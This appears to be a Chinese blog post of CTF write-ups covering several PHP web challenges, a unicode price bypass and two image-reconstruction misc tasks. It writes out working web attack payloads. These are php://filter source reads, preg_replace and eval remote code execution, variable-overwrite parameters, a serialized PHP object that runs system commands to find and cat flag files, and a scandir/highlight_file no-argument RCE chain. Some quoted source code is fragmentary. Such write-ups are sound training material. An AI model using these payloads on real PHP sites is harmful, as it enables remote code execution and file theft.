BJDCTF2020ZJCTF,不过如此 1

先用php伪协议 读取next.php 获得的代码
text=data://text/plain;base64,aWhhdmVhZHJlYW0=(文本内容ihaveadream的base64)&file=php://filter/read=convert.base64-encode/resource=next.php

base64解码一下得到如下

$str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); } **考preg_replace()的RCE** https://xz.aliyun.com/t/2557 这篇文章就是讲这个的利用的 \S*()={${eval($_POST[a])}} a=system%28%27cat+%2Fflag%27%29%3B preg_replace()的RCE payload 为: /?.*={${phpinfo()}}, 即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}} payload2: \S*=${phpinfo()} payload:利用源码给的getFlag函数 /next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22); 在next.php下可以执行这个操作 system('cat/flag'); 这个不知道为什么不行看有的wp可以成功

BJDCTF2020Mark loves cat

$y){ $$x = $y; } foreach($_GET as $x => $y){ //通过post方式传递$flag=flag,最终结果为$$flag=flag 这便是POST方式处理代码 $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ //通过get传递yds=flag 得到$yds=$flag exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //get和post中不存在flag参数便退出程序输出$yds变量,得到flag exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;" //这是index.php 的源码 **根据$$和foreach可以判断可能存在变量覆盖漏洞**,也就是可以将$yds,$is,$handsome的值进行覆盖成$flag变量,然后输出对应变量的值,获取flag。 例如代码第17-19行,需要get传参?flag=flag,才能进入if语句中输出$handsome,但是foreach中并不能将$flag赋值给$handsome然后输出,所以此处无法利用。 扫描**目录找到 .git 泄露** **然后githack 把源码下下来** 发现就两个重要文件,flag.php,读取flag文件内容并赋值给$flag: index.php,开头有个包含,在最后有个输出flag if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } 发现get和post中不存在flag参数便退出程序输出$yds变量 传递如下参数 : get: yds=flag post: $flag=flag 那么最终payload **?yds=flag** ** post: $flag=flag**

网鼎杯 2020 朱雀组phpweb

主页这边抓包发现 func=date&p=Y-m-d+h%3Ai%3As+a 这句话这边可以传参

func=file_get_contents&p=index.php 然后给了一堆的源码

func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>

虽然被禁用了一大堆但是还有反序列化可以用 func=unserialize&p=index.php

func != "") { echo gettime($this->func, $this->p); } } } $a=new Test(); echo serialize($a); 贴一下构造的序列化代码构造这个生成O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} payload1 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} 获得文件列表 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:14:"ls ../../../..";s:4:"func";s:6:"system";} 然后给了更多 但是你丫的怎么没有flag ┗|`O′|┛ ![wwwwww.png](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/wwwwww.png?raw=true) **知识点:寻找flag文件常用命令小结:** system(‘ls’) : 列举当前目录下的所有文件 system(“find / -name flag*”):查找所有文件名匹配flag*的文件 system(“cat $(find / -name flag*)”):打印所有文件名匹配flag*的文件 那么这个p就得变成p=cat $(find / -name flag*) func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";} 最终payload ![weww.png](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/weww.png?raw=true)

GXYCTF2019禁止套娃源码

这题有个git泄露 url后头加个.git 然后丢到githacker 下载下来源代码

"; if(isset($_GET['exp'])){ ;典型的木马get方式 if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { ;这边常用伪协议均被禁止了就很离谱 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { ;这边正则匹配 ?R表示引用当前表达式 [a-z,_]+[a-z,_]+\((?R)?\) 合法表达式类似于a(b();) if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { ;过滤一些字眼 // echo $_GET['exp']; @e、、v、、a、、l($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>

然其不能使用php伪协议,但是@e、、v、、a、、l($_GET[‘exp’]);可以进行命令执行,所以使用scandir()函数列出当前目录中的文件和目录 ╮(╯▽╰)╭这顿号加的很无奈 不然到时候又被杀了

  • scandir (语法scandir(dictionary,sorting_order,context);) 使用至少必需要有一个directory的,但是我们又没有办法去定义一个变量,这时候就要考虑php有没有什么函数是自带常量的:localeconv() (这玩意是个数组 然后就得用到current() 这函数就自带常量 current语法current(array)

构造一下就是array(localeconv)

在构造一下就是?exp=print_r(scandir(current(localeconv()))); 然后目录爆出来

这波还需要用到next函数将内部指针指向数组的下一个元素并输出.

正常next需要用到挺多次的 然而scandir函数的返回值是一个数组,如果把数组逆序排列,再用一个next即可达成目的
然后就是用到array_reverse这个神奇的函数:以相反的元素按顺序返回数组
然后最后highlight_file 输出文件即可
payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

BSidesCF2020Had a badday1

url有点类似伪协议
?categery 这个和php伪协议有点像
试一下伪协议 可以获取到源代码 的base64

2.PNG

解码也没找出什么东西但是吧发现可以用来读取东西3.PNG

这边可以读到图片的base64后的结果

4.PNG

那么这样就拿到flag了

page[ASIS 2019]Unicornshop1

抓包网页编码格式utf-8 这个很重要

113.PNG

根据题目的提示,这题应该和unicode有关 寻找一个unicode 用来是金额的

这里 post数据id=1&price=23 这边如果都是数字会提示错误 所有price只能用Unicode 表示

找一个足够大的 112.PNG

然后会发现1 2 3 都没法买

111.PNG

到4 就可以了

这边得用utf-8编码的格式进行输入 然后还得改成 url编码0x改成%即可

那啥ciscn2021杂项的running pixel

奔跑的像素点蛤?

跑? 把所有的帧给提取出来

丢Stegsolve 里头看了看 red plane3 看了看 都有一个点比较另类的

aaa.jpgccc.jpg

然后ps看这个点的像素值总会含有这个RGB: 233,233,233的像素块 部分像素颜色为233,233,233将颜色为233,233,233区块的位置尝试画出来

ddd.jpg

from PIL import Image

flag_img = Image.new(‘1’,(400,400))
#mode=1 1位黑白像素,每字节存储一个像素
for name in range(10,383): #这边应给得从1开始
framepic = Image.open(‘0_f’+str(name)+’.gif’) #然后这边0_f0 应该为这样 跑完前十张图后改称这样
framepic = framepic.convert(“RGB”)
width,height = framepic.size
for w in range(width):
for h in range(height):
if framepic.getpixel((w,h)) == (233,233,233):
flag_img.putpixel((h,w),1)

flag_img.save(‘./flag/‘+str(name)+’.png’) (从别的大佬那拿来的脚本)

和刚才的所有的导出的帧数放在同一个文件夹 跑完程序就bbb.jpg可以了

得到这张图慢慢拼图就能拿到flag了

ciscn robot

其实包里面给了这么多东西就只有那个抓包文件有用 其他的不会用

.pcapng那个文件里面Value.[62,49,0] 有好多这种样子的总共sss.PNG

这么多个可以试着把这些点抓出来然后python画图一下

这个先另存txt先

from PIL import Image
import re

reg = re.compile(r’Value.[(\d+),(\d+),(\d+)]‘) ;正则匹配符合的项

with open(‘ro.txt’,’r’) as f:
data = reg.findall(f.read())
# print(data)
# print(len(data))

img = Image.new(‘1’, (400, 400))
for i in data:
xy = (int(i[0]), int(i[1]))
img.putpixel(xy, 1)
img.save(“md5flag.png”)

这边ro.txt 和MD5flag.png 自己命名去

运行一下可以生成图片

md5flag.png

然后图片内容MD5加密一下就是flag

但这可能不是预期解法就是了